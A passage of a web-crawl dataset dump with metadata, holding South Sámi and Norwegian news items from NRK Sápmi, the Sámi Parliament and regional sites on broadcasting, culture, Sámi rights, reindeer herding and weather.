maahtah aaj daesnie govledh saaht gåessie: https:\/\/radio.nrk.no\/serie\/julev-satta\nLissine Sámi Radio aaj nedtesaernieh julevsaemien gïelesne dorje daesnie: www.nrk.no\/sapmi jïh TV-aamhtesh julevsaemien gïelesne Ođđasatsne.\nSaadtege åarjelsaemien gïelesne\nSámi Radion saadtegh åarjelsaemien gïelesne seedtesuvvieh dæjstan jïh duarstan tsåahka 1345. Maahtah aaj saadtegem daesnie govledh saaht gåessie: https:\/\/radio.nrk.no\/serie\/aaarjel-faaroe-soersamisk-magasin\nLissine Sámi Radio nedtesaernieh dorje åarjelsaemien gïelesne daesnie www.nrk.no\/sapmi jïh TV-aamhtesh åarjelsaemien gïelesne Ođđasatsne.\nÁrdna\nÁrdna lea NRK Sápmin kultuvremagasijne. Daehtie saadtegistie dovne akte nöörjen jïh saemien låhkoe gååvnese, http:\/\/radio.nrk.no\/serie\/ardna-samisk-kulturmagasin-paa-norsk https:\/\/radio.nrk.no\/serie\/ardna-samisk-kulturmagasin-paa-samisk\nSaernieh nöörjen gïelesne\nSaernieh nöörjen gïelesne Sámi Radioste seedtesuvvieh gaajhki aarkebiejjiej tsåahka 1330 kanaalesne P2 jïh DABsne, jïh dejtie maahtah govledh saaht gåessie daesnie: http:\/\/radio.nrk.no\/serie\/darogïel-Ođđasat-nyheter-paa-norsk\nSaemien kategorijeAkte jïjtse saemien kategorije raadijovespïelerisnie nedtesne gååvnese, gusnie maahtah saemien saadtegh ikth vielie govledh raadijovisnie. Dam daesnie gaavnh:\nNedte\nNedtesaernieh\nNRK Sápmin nedtesaernieh leah nöörjen, noerhtesaemien, julevsaemien jïh åarjelsaemien gïelesne. Dejtie maahtah daesnie lohkedh:\nSR Sameradion jïh SVT Sápmi aktem tjåenghkies nedtesijjiem utnieh, saernieh dejstie minngemes neebneme maahtah lohkedh sveerjen jïh noerhtesaemien gïelesne daesnie:\nYLE Sápmin nedtesaernieh leah åajvahkommes noerhtesaemien gïelesne, jïh dejtie maahtah daesnie lohkedh:\nNu Fal\nNu Fal lea NRK Sápmin nedtesæjroe noeride, jïh lea nöörjen jïh noerhtesaemien gïelesne. Nu Fal daesnie gaavnh:\nMaanide\nSuperen nedtesæjrojne aaj akte faalenasse saamastallije maanide. Dam daesnie gaavnh:","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/om\/2.-nrk-sapmin-programmh-1.11309622","date":"2018-07-19T12:33:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590866.65\/warc\/CC-MAIN-20180719105750-20180719125750-00203.warc.gz","language":"sma","language_score":0.9997932315,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9997932314872742}","num_words":514,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Amanda Kernell lea åenehks filmem dorjeme mij nomme \"Stoerre vaerie\". Daate stoerre jååhkesjimmie, saemien filmem, daan feestivalese veeljeme.\nDaate støøremes deahpadimmie daan Ofelas\/ Veiviser filmen mænngan.\n– Joekoen luste! Dihte regissøre Amanda Kernelle håatjoe. Manne jih mov barkoe almetjh geerjene. Daate stoerre nïekedasse. Sïjhtebe hov filmem, daan stoerre feestivalesne vuesiehtidh. Luste, daan aejkien saemien filme meatan Sveerjeste. Joekoen luste aaj daejtie almetjidie mij gïeline jih maahtone viehkiehtamme.\nStoerre vaerien filme, gieries-voetem daan båarasåbpoe boelvese vuesehte. Dejtie mij fuelhkiem, saemien jieliemasseste slïejhteme jih sïebredahkesne tjaajanamme, jih dejtie mij baatseme aajmene jieleminie.\nAmanda Kernell veanhta seamma tjoeperh Usaesne goh daate \"Stoerre Vaerie\" filme vuesehte.\nDah mij meatan daan filmesne lea Maj-Doris Rimpi, Olle Sarri, Anne Biret Somby jih Jonar Thomasson.\nVïssjeles dorjehtæjjine barkedh.\nJonar Thomasson, Raarhvihkeste meatan daan \"Stoerre vaerien\" filmesne. Tuhtjie luste daate filme daan Sundance feestivalese baahtseme.\n– Ij leah gujhth mov rolle man stoerre. Edtjem aerpie ålmine årrodh. Naemhtie lea, daate ålma guhkiem åarjene orreme, ij leah daam sov åabpebem buarastehteme gosse jieleminie. Åadtjede mængan vuejnedh. Thomassone jeahta.\nSundance filme feestivale lea Park City Utah, Usaesne. Tsiengelen 22.b.- Goevten 1 beajjan.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/saemien-filme-aehpies-sjaedta-1.12092502","date":"2018-07-16T20:49:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589455.35\/warc\/CC-MAIN-20180716193516-20180716213516-00371.warc.gz","language":"sma","language_score":0.9999268055,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999268054962158}","num_words":179,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij: Konferanse saemien tjeahpoen jïh kultuvren bïjre KS:sneTïjje jïh sijjie: Voerhtjen 19. jïh 20. b. 2018, Saemiedigkie KarasjohkesneÖörnedæjjah;: Saemiedigkie, Romsan fylhkentjïelte, Finnmaarhken fylhkentjïelte\/Scene Finnmaarhke, Saemien tjiehpiedæjjajarnge, Sámi dáiddárráđđi, KulturtankenHeevehtimmiejaepien 2017 Kulturtanken aktine prosjektine nïerhki juktie saemien tjeahpoem jïh kultuvrem Kultuvrelle skuvlevoessesne (KS) lutnjedh. Prosjekte golme jaepieh vaasa, jïh daan gïjren konferansine aalka «Nasjovnen gïelh. Saemien tjeahpoe jïh kultuvre KS:sne. Konferanse akte laavenjostoe gaskem tjeahpoe- jïh kultuvreaktöörh, fylhkh, tjïelth, Saemiedigkie jïh Kulturtanken.Dide guhkiebasse ulmie prosjektine lea veahkam lissiehtidh saemien dorjemassijste jïh saemien tjeahpoem jïh kultuvrem KS:sne vuesiehtidh. Såemies dejstie gyhtjelassijste mejtie maehtebe gihtjedh lea guktie mijjieh maehtebe veahkam dorjemassijste lissiehtidh mah saemien tjeahpoem jïh kultuvrem lutnjieh jïh vuesiehtieh; guktie mijjieh maehtebe saemien tjeahpoe- jïh kultuvredorjemassh bööremeslaakan darjodh jïh åehpiedehtedh daan beajjetje learoehkidie; jïh guktie maehtebe aktem bööremesligke ektiespïelem sjugniedidh gaskem tjeahpoe- jïh kultuvresuerkieh, dorjemassebyjresh jïh ööhpehtimmiebieliem – Saepmesne, fylhkine, tjïeltine jïh staatesne.Programme sæjhta tjeekedh håalemh, låtnomem dååjrehtimmijste, digkiedimmieh jïh vuesiehtimmieh saemien tjiehpeles smaaregijstie mah leah sjyöhtehke KS:se.OBS! Gaertjiedamme sijjieh konferansesne. Bïevnesesæjrosne vielie bïevnesh dan bïjre gaavnh.\nVoejnesibie Karasjohkesne!","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/www.kulturtanken.no\/smegillii","date":"2018-07-21T00:01:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592001.81\/warc\/CC-MAIN-20180720232914-20180721012914-00355.warc.gz","language":"sma","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999738931655884}","num_words":162,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reektehtsisnie, mij boelhken 2011 – 2017 feerhmie, lea våajnoes saemiej tsiehkie almetjereaktaj jïh aalkoealmetji reaktaj bïjre våaromem vadta tjoeperdidh dej teemaj sisnjeli goh vædtsoesvoete nyjsenæjjaj jïh nïejti vööste saemien siebriedahkine, aassjoejiehtegh jïh aassjoekriminaliteete gaskem jeatjah gaskeviermesne saemien åålmegen vööste, sïerredimmie saemijste, lohkehtæjjah saemien gïeline fååtesieh jïh gellie saemien maanah eah åadtjoeh saemien nuhtjedh maanagïertine. Vijriesåbpoe dle jienebh juvnehtimmieh mah leah ektiedamme saemien åålmegen reaktese laantedajvide jïh vierhtiereaktide. Moenehtse joekoen tjoeperde dehtie faatoes guhkiebasse barkoste Saemiereaktamoenehtsen salkehtimmeste jaepeste 2007 saemien dajvi bïjre Finnmaarhken ålkolen.Saemiedigkieraerie sov alternatijve reektehtsem darjoeji aarebi daan jaepien Nöörjen guhkiebasse barkoen bïjre EN:n konvensjovneste sivijle jïh politihkeles reaktaj bïjre. Raerielïhtsege Silje Karine Muotka govlesadti EN:n almetjereaktamoenehtsinie dennie ræhpas govlehtimmesne ektiedamme eksaminasjovnese Nöörjeste Genevesne njoktjen 14. 15. b.\n– Manne juakam EN:n almetjereaktamoenehtsen tjoeperdimmieh reaktatsiehkien bïjre saemide Nöörjesne. Seamma tïjjen madtjeles ihke moenehtse dan tjyölkehke sov juvnehtimmine. Mijjieh damtijibie sisvegisnie. Daate lea naakede maam Saemiedigkie daamtaj jïh ahkedh lea tjïertestamme dejtie ovmessie reerenasside, presidente Aili Keskitalo jeahta.\n– Mov lea akte tjarke håhkoe reerenasse juvnehtimmide EN;n almetjereaktamoenehtsistie itjmieslaakan vaalta, jïh dejtie daerpies dahkojde dorje mah gorredieh mijjen reaktah illesuvvieh jïh meatan vaaltasuvvieh politihkehammoedimmesne jïh laakine. Daan beajjetje reerenasse Jeløya-våaroemisnie jeahta dah edtjieh barkoem nænnoestehtedh almetjereaktaj åvteste jïh stuerebe tsåatskelesvoetem sivijle jïh politihkeles reaktaj vööste stuvredh. Saemiedigkien bieleste sïjhtebe ulmiestuvreldh reerenassen vööste jïh staateles åejvieladtjigujmie barkedh ihke juvnehtimmieh EN:n almetjereaktamoenehtsistie fulkesuvvieh dennie praktihkeles politihkesne, Keskitalo jeahta.\nGovlehtallijh:\nPresidente Aili Keskitalo, tel 971 29 305\nRaerielïhtsege Silje Karine Muotka, tel 984 87 576\nReektehtsen paragraafesne 37, EN:n almetjereaktamoenehtse tjïelke juvnehtimmieh Nöörjese vadta staate byöroe:\n(a) Barkoem lissiehtidh juktie stereotype jïh sïerreden vuajnoej jïh sïerreden praksisen vööste gæmhpodh saemien almetji jïh saemien åålmegen vööste;\n(b) Eensi rååresjimmieh gorredidh saemien åålmeginie rïektesisnie, jïh aktem laakem rååresjimmide nænnoestidh juktie frijje jïh åvtelhbodti bievneme jååhkesjimmiem saemijste åadtjodh rååresjimmiej mænngan saemien åålmeginie;\n(c) Gaajhkh ovloeteldh tjoeperdimmieh stuvredh jïh akten varke adopsjovnese sjïehteladtedh dehtie noerhtelaanti saemiekonvensjovneste;\nd) Dejtie juridihkeles mieride bueriedidh saemien laante-, gööleme- jïh båatsoereaktide, joekoen juktie gorredidh göölemereaktah leah jååhkesjamme laakine;\ne) Radtjoes jïh varke dåarjoehtimmiem gorredidh raeriestimmijste Saemiereaktamoenehtsistie 2007 laante- jïh vierhtiereaktaj bïjre saemien dajvine Finnmaarhken ålkolen;\n(f) Dåårrehtimmiem jïh saavremem lohkehtæjjijste lissiehtidh saemien gïeline, jïh nuepiem lissiehtidh saemien gïelh nuhtjedh saemien maanide maanagïertesne gaajhkine dajvine.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-FN-laejhteme-illemen-bijre-aalkoealmetji-reaktijste-Noeoerjesne","date":"2018-07-20T08:42:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591575.49\/warc\/CC-MAIN-20180720080634-20180720100634-00523.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":346,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dej minngemes jaepieh jienebh jïh jienebh almetjh lea aalkeme bikinifitnessinie gaahtjedh. Aina Lisa Wilks (23) Snåaseste lea akte dejstie. Aarkebiejjesne dïhte learohke HINTsne, jïlleskuvlem Noerhte-Trøøndelagesne, edtja lohkehtæjja sjïdtedh. Dïhte aaj tjidtjie gøøkte smaave maanide.\nAina Lisa Wilks\nManne tuhtjeme bikinifitness gieltegs orreme dan mænngan eelki.\nAina Lisa iktesth lyjhkeme saavredh, jïh lea bikitifintness dåeriedamme. Mohte mænngan gøøkte maanah åådtjeme, idtji vïenhth edtji maehtedh gaahtjedh. Dellie pryøvemisnie lij, jïh dïhte gujhth hijven gåeredi. «Øøvre luste sjïere ulmie saavrine utnedh», Aina Lisa Wilks jeahta.\nSaavredh guktie tjåadtjodh\nIj leah nuekies vïjhte biejjh våhkosne saavredh jïh soejkesjemelaakan byøpmedidh. Tjuara aaj saavredh guktie edtja scenesne tjåadtjodh.\n– Guktie dle gaajhkem buektehte? Skulve, saavreme jïh gøøkte smaave maanah. Jïh gåessie saavra?\nAina Lisa soptseste hijven gåerede gaajhhkem buektiehtidh. Lohkehtimmiem lea gaskeviermien tjïrrh, praktihke jïh tjåangkoejgujmie. Gosse ij naan praktihke, dle maahta biejjegen saavredh. Gosse maanide maanaj-giertesne jïh dïhte lohkehtimmie åtna, dle pråvhka lohkehtimmien bijjelen jallh åvtelen saavredh, jallh iehkeden gåessie maanide åerieh, mejtie naakene gåetesne syjhtede.\nAina Lisa Wilks\nNumhtie im naan tijjie maanajgujmie dassem.\nBuerie moenedimmieh\nVoestegh idtji maam jiehtieh dom bijre ahte edtji aelkedh gaahtjedh. Dïhte billi mah almetjh edtjin jïehtedh. Dan raajan barre buerie moenedimmieh åådtjeme jïh tuhtjie gaajh luste.\nNjoktjen 28n.b scenesne voestes aejkien tjåådtje, jïh Aina Lisa gujhth disse ånnetji kråvvede. «Im manne dam gåessie gænnah dorjeme», Wilks jeahta. Dïhte veanhta jïh hååhkesje hijven gåerede, jïh dïhte jeahta ahte læjhkan guktie sjædta, dle gujhth buerie dåårjehtimmiem åådtje!\nGovlh aamhtesem Aina Lisajne:","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/voestes-aejkien-scenesne-1.12167715","date":"2018-07-17T02:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589537.21\/warc\/CC-MAIN-20180717012034-20180717032034-00147.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":239,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stortinget har vedtatt at det skal etableres en Sannhets- og forsoningskommisjon, som skal granske konsekvensene av fornorskningspolitikken i Norge. Sametingsråd Inger Eline Eriksen Fjellgren mener at på grunn av godt samarbeid i det samiske samfunn har man lykkes i å få en Sannhetskommisjon.\nHer er en pressemelding som Sámediggi – Sametinget har sendt ut i dag:\nStortinget har vedtatt at det skal etableres en Sannhets- og forsoningskommisjon, som skal utrede hvilke konsekvenser fornorskningspolitikken i Norge har medført. Sametingsråd Inger Eline Eriksen Fjellgren var i Stortinget da saken ble diskutert og hun er veldig fornøyd med vedtaket.\n– Sametinget har hatt godt samarbeid med mange og derfor har vi lykkes for å få på plass denne kommisjonen.\nUtarbeidet en felles strategi\nFjellgren nevner spesielt samarbeidet med Sametingets eldreråd.\n– Sametinget er takknemlig for det arbeidet Sametingets eldreråd har gjort i denne saken over flere år. Spesielt var det bra at de deltok i den åpne høringen i Stortinget. Det var betydningsfullt at Stortinget fikk høre erfaringer fra eldre folk, og hva de har gjennomgått på grunn av statens politikk.\nSametingsråd Fjellgren hadde tidlig et møte med Trygg Jakola i Norske kveners forbund. Der utarbeidet de strategier i fellesskap om hvordan man skal få på plass en slik kommisjon. Etter dette møtet sendte Sametinget et brev til fylkeskommunene i de samiske områdene, der man ba om støtte til etableringen av kommisjonen, noe som fylkeskommunene senere har gitt.\nStøtte fra Kirken var til god hjelp\nSametinget har også hatt god dialog med Samisk kirkeråd, og deres støtte har vært til stor nytte.\n– Kirken og staten har nettopp skilt lag. Kirken har fremdeles en viktig plass både i Sápmi og ellers i Norge, og også blant stortingets representanter. Samene setter pris på at kirken støtter oss i dette arbeidet. Vi må også huske på å røkte også den åndelige dimensjonen av dette forsoningsarbeidet. Kirken har den kunnskapen som kreves, sier Fjellgren.\n– Hijven laavenjostojne libie lyhkesamme\nSaemiedigkieraerie Inger Eline Eriksen Fjellgren meala hijven laavenjostoen gaavhtan saemien siebriedahkesne libie lyhkesamme Saetniesvoetekommisjovnem åadtjodh.\nStoerredigkie lea nænnoestamme Saetniesvoete- jïh måahtadimmiekommisjovnem tseegkedh, mij edtja salkehtidh mah konsekvensh daaroedehtemepolitihke Nöörjesne leah vadteme. Saemiedigkieraerie Inger Eline Eriksen Fjellgren lij Stoerredigkesne gosse aamhtesem digkiedin jïh dïhte joekoen madtjeles nænnoestimmine.\n– Saemiedigkie lea hijvenlaakan laavenjosteme jeenjesigujmie jïh dan åvteste libie lyhkesamme daam kommisjovnem åadtjodh.\nEktie strategijem darjoejin\nFjellgren laavenjostoem Saemiedigkien voereseraerine sjïerelaakan neebnie.\n– Saemiedigkie lea gijhteles dan barkoen åvteste maam Saemiedigkien voereseraerie lea dorjeme daennie aamhtesisnie gellie jaepieh. Joekoen lij hijven dah lin meatan dennie ræhpas govlehtimmesne Stoerredigkesne. Joekoen vihkeles Stoerredigkie åadtjoeji dååjrehtimmieh govledh båarasåbpoe almetjijstie, jïh maam dah leah dååjreme staaten politihken gaavhtan.\nSaemiedigkieraerie Fjellgren varke aktem tjåanghkoem utni Trygg Jakoline Nöörjen kveeni siebresne. Desnie strategijh ektesne hammoedin guktie edtjin aktem dagkeres kommisjovnem åadtjodh. Daan tjåanghkoen mænngan Saemiedigkie aktem prieviem seedti fylhkentjïeltide saemien dajvine, gusnie dåarjoen bïjre birrimh juktie kommisjovnem tseegkedh, jïh dam leah dan mænngan dorjeme.\nDåarjoe gærhkoste lij hijven viehkie\nSaemiedigkie aaj hijvenlaakan govlesadteme Saemien gærhkoeraerine, jïh dej dåarjoe stoerre nåhtoe orreme.\n– Gærhkoe jïh staate leah aadtjen joekehtadteme. Gærhkoe annje aktem vihkeles sijjiem åtna dovne Saepmesne jïh abpe Nöörjesne, jïh aaj stoerredigkien tjirkiji gaskem. Saemieh tuhtjieh hijven gærhkoe mijjem dåarjohte daennie barkosne. Tjoerebe aaj mujhtedh voejkenevoetem gorredidh daennie måahtadimmiebarkosne. Gærhkoe dam maahtoem åtna mij lea daerpies, Fjellgren jeahta.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/rorosnytt.no\/med-godt-samarbeid-har-vi-lykkes\/","date":"2018-07-19T20:58:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591296.46\/warc\/CC-MAIN-20180719203515-20180719223515-00334.warc.gz","language":"sma","language_score":0.9603744745,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9603744745254517, \"nob_Latn_score\": 0.025993531569838524, \"sme_Latn_score\": 0.012986185029149055}","num_words":534,"character_repetition_ratio":0.065,"word_repetition_ratio":0.015,"special_characters_ratio":0.154,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte joe nieljie luhkie nielje jaepieh, Snåasesne orreme. Daate berbere Mohamed Sambou, 53, golme maanah jih paarre-bielien ektesne årroeminie. Dihte lea tseegkeme daam Snåsa Vann AS, guktie ussjede tjaetsie boehtelh Europese doekedh. Sov maadtoe vihkeles sutnan, dihte lea berbere, akte aalkoe-almetje dåehkie, noerhte Afrikaste.\nBerberh juhtijh- almetjh goh saemieh.\nBerberh leah juhtijh-almetjh mij noerhte Afrikesne veasoeminie. Dihte baakoe «berber» båata destie arabeske gïeleste. Gåessie dihte jaahkoe, islame, noerhte afrikese bøøti, dellie aaj dah laanth arabeske sjidtin.\n–Mijjieh libie imazighen almetjh. Raeffies almetjh jih gieliesne juhtimh, Samboue jeahta.\nJijtjen ietnien-gïelem.\nSov eejhtegh Europese jih Belgiense juhtigan jih desnie dellie Mohamed Samboue lea byjjenamme. Mohamede aaj maadtjele åtna jijtjen ietnien- gïelem.\n– Belgiensne dellie franske gïelem skuvlesne lohkim jih soptsestim. Gåetesne dellie mov berbere ietnien-gïelem, tamazight, soptestim, dihte akte smaare-gïele, rif gïeleste. Dah smaare -gïelij gaskem, ånnetji sinsitniem guarkebe. Mouhamede ånnetji ussjedadta. –Dihte franske gïele, mænngan nænnemes sjidti.\nBerbere gïele lea daan Afroasiatiske gielefuelhkeste. 30 miljovnh berberh ov-messie smaare-gielh soptsestieh, noerhte Afrikesne, Marockosne, Algeriesne, Tunisiensne jih Libyensne. Daam Mohameden ietnien-gïele tamazight, åtna gøøkte luhkie govhte sjiere smaare-gïelh. Saemien gïele åtna luhkie smaare-gïelh, dah nielje noerhte laantine.\nMadtjele aaj jienebh åehpies almetjh berbere fuelhkeste.\n– Dijjieh son daejrede gie dihte tjengkeretjïektjedæjja Zinedine Zidane lij, jih aaj dihte åehpies laavloejes nyjsenæjja åemie Edith Piaf. Dah guaktah aaj berberh, Samboue føørhkede.\nDaelie datne tjaetsie gaaltijem Snåasesne gaavneme jih aalkeme tjaetsie boehtelh doekedh?\n– Daejnie vijhte jaepieh barkeme, jih eensi tjaetsie gaaltijem gaavnedh. Daate tjaetsie gaaltije Korsvollansne, Snåasen noerhtelen. Destie gaaltijeste maahtam 1 miljard lijterh fierhten jaepien gåajvodh. Mijjieh joe gellie tjaetjie boehtelh doekeme, dihte hijvene, Samboue mojjeste.\nIj leah nuekies dah almetjh Nøørjesne åadtjoeh daam njaelkies Snåasen tjaetsiem jovhkedh. Mohamed Sambou åtna stuerebe niekedassem.\n– Dihte mov voestemes åssjalommes lij jih tjaetsiem åålkoelaantese doekedh. Daelie edtjem aelkedh Tysklaantese doekedh jih barkoeminie edtjem daejtie tjaetsie boehtelidie tjaebpies -laakan tjaalehtjadtedh, Mohamed Samboue bievnede.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/tjaetsie-boehtelh-snaaseste-duaka.-1.12133547","date":"2018-07-18T00:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589932.22\/warc\/CC-MAIN-20180717222930-20180718002930-00427.warc.gz","language":"sma","language_score":0.9999632835,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999632835388184}","num_words":299,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aavoedieh dejstie åarjelsaemien gïelevierhtijste\nDam Anne Rasmus jeahta, SÁMi ođasmagasiidnen redaktööre. Bijjelen aktem jaepiem Rasmus lea barkeme aktem hijven meedijafaalenassem åarjelsaemide buektiehtidh, jïh aktem håvhtadamme gïelem våajnoes darjodh. Redaksjovne daam aavoesaerniem åadtjoeji gaskevåhkoen iehkedsbiejjien.\n– Mijjieh gellie haestemh åtneme juktie dejtie åarjelsaemien aamhtesidie darjodh, men mijjieh libie tjoereme dejtie loetedh ånnetji ånnetji. Gosse Saemiedigkie daelie lea veeljeme mijjen prosjektem dåarjodh, dellie aelhkebe mijjese sjædta barkoem jåerhkedh jïh daate akte stoerre aavoesaernie åarjelsaemide, mah daelie aktem namhtah meedijafaalenassem sijjen ietniengïelesne åadtjoeh, Rasmus håatja, mij gegkeste aktem åarjelsaemien barkijem prosjektese gaavnedh.\nBarkoem jåarhka\nDaan biejjien SÁMi ođasmagasiidna akte golmengïeleldh faalenasse. Saernieh jïh reportaasjh dorjesuvvieh dovne noerhte- jïh åarjelsaemien gïelesne. Såemies aamhtesh aaj nöörjengïelesne dorjesuvvieh. Dejnie dåarjojne Saemiedigkeste, magasijne nuepiem åådtje prosjektine jåerhkedh mejnie eelki påaski bïjre, gusnie dovne tjaalegh jïh videoveaamhtesh åarjelsaemien gïelesne nedtesne dorje.\n– Mijjieh tjoerimh aktene lehkesne aelkedh, jalhts mijjen lin vaenie vierhtieh. Manne joekoen geerjene ihke Saemiedigkie lea vuajneme mijjieh daam prosjektem joekoen itjmieslaakan vaeltebe. Rïektesisnie eah gujht gaajhkesh maehtieh åarjelsaemien lohkedh daaroedehtemen gaavhtan. Dan åvteste idtjimh dan gåhkese jaksh ajve tjaaleldh tjaalegigujmie. Saemiedigkie aaj dam seamma dåeriesmoerem vööjni, mij lea dåarjoem veadteme guktie mijjieh tjoerebe tjaalegh jïh videoveaamhtesh digitaalelaakan darjodh, mah edtjieh meatan årrodh aktem håvhtadamme gïelem våajnoes darjodh jïh eevtjedh, Rasmus jeahta.\n– Mov gïelevaajmoem baahkede\nJan Skoglund Paltto, Sámi ođasmagasiidnan biejjieladtje åvtehke, lea iktesth barkeme saemiengïelem eevtjedh. Dïhte joekoen madtjeles daårjojne.\n– Daate stoerre ulmiem åtna mijjese jïh joekoen åarjelsaemide. Gosse Saemiedigkie vierhtieh dåårje mij åarjelsaemien eevtjie, dellie dïhte vuesehte Saemiedigkie lea mijjen gïelebarkoem itjmieslaakan vaalteme. Daelie nuepiem åadtjobe dejnie barkojne jåerhkedh mejgujmie eelkimh bieliemubpien jaepien juassah Skoglund Paltto jeahta.\nAamhtese jåarhka guvvien nuelesne.\n– Stoerre ulmiem åtna åarjelsaemien noeride\nSaemiedigkiepresidente Aili Keskitalo veanhta vihkeles aktem gemtebe meedijafaalenassem vedtedh aaj åarjelsaemide. Keskitalo gegkeste beetnehdåarjoe nåhtose sjædta jïh SÁMi ođasmagasiidna lea meatan åarjelsaemien meedijafaalenassem vaarjelidh jïh evtiedidh.\n– Vaenie meedijafaalenassh åarjelsaemide, jïh vihkeles åarjelsaemien noerh åadtjoeh aamhtesh lohkedh mah leah sjyöhtehke daan biejjien, jïh dejtie jïjtsh gïelesne govledh. Aaj vihkeles mijjieh meedijah utnebe mah Saepmiem tjåanghkan gårredieh, saemiedigkiepresidente Aili Keskitalo jeahta.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/samimag.no\/sma\/content\/aavoedieh-dejstie-aarjelsaemien-gielevierhtijste","date":"2018-08-18T01:28:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213247.0\/warc\/CC-MAIN-20180818001437-20180818021437-00001.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":329,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Giedtie båata musserisnie\nDej minngemes vijhte jaepieh lea bijjelen golmetjuetie bovtsh moetesjemme Nordlaanten ruvtieraajoengæjnoesne.\nDaan vahkoen eelkie BANENOR giertesjidh ruvtieraajroen lijnaen bealesne, Musseren åarjelen Helgelaantesne, gusnie dihte verremes moetesjimmie orreme jih vuestierisnie gaalka golme mijle giertesjidh. Dennie sijjesne gusnie daelie giedtiem bigkeminnie Jillen njaarken sijtesne leah ruvtieraajroe measta gaektsie-stoerretsiehkie bovts njeervemme dah minngemes luhkie jaepieh.\nJillen njaarken sijten åvtegke Torstein Appfjell aavoede daelie giedtiem bigkede sov sijtesne jih sobpste dah hov jijjneh bovts dasseme ruvtieraajroengæjnoesne jih daelie maahta åvtese veartasjidh jih dihte hååhkesjeminnie daelie leah minngemes aejkien bovts dunnie sijjesne dasseme.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.nrk.no\/sapmi\/o__asat---aarjelsaemien-1.13572943","date":"2018-08-20T07:37:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221215858.81\/warc\/CC-MAIN-20180820062343-20180820082343-00289.warc.gz","language":"sma","language_score":0.9999278784,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999278783798218}","num_words":91,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie Meteorologisk institutte daan elmien Monsen bijre vaaroehtamme. Daate elmie jaksa Trøøndelaagem jih Nordlaantem. Abredh-vearolde mij dorje dålvoeminie jih vyjrehtje sjædta.\nDæjstan maahta jijnjem 40-90 millimeter akten dygnesne abrodh. Seamma vearolde orre-jaepien stroehten sjædta.\nSeamma liemkeds vearolde goh jaepien 2006.\nDaate liemkedts vearolde seamma goh tsiengelen minngie-gietjie jaepien 2006. Dellie 150-300 mm åbroeji. Dellie vyjri jih dah stoerre johkh jih 